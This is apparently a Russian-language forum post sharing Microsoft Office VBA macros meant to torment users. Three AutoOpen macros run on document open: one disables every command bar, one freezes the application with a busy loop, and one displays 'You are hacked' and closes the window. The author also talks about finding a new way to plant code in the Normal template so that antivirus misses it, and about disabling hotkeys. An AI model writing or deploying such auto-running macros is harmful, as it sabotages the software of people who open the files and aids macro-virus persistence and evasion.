Office: мучаем дальше
Прочитал я западло в Office и решил поделиться своим опытом в юзании мелкософтовского продукта 1.Uzver без тулбаров sub AutoOpen With Application For d = 1 to .Commandbars.Count .CommandBars(d).Enabled = False Next d End With End sub 2.Uzver и таймер Sub AutoOpen Start = Timer 'Засекаем время Pause = 10 'В данном случае 10 а так можно поизвращаться Do While Timer < Start + Pause Loop End sub 3.Uzver и его файл Sub AutoOpen MsgBox "You are hacked" ActiveWindow.Close End sub И как заметил Gnome, исходники макровирусов здесь выставлять не стоит!!! Насчет того, что антивирь просекет - задача состоит в том, чтобы накалякать новый способ прописки в Normal, а если в придачу отключить пару горяяяячих клавиш то Uzver-у пи..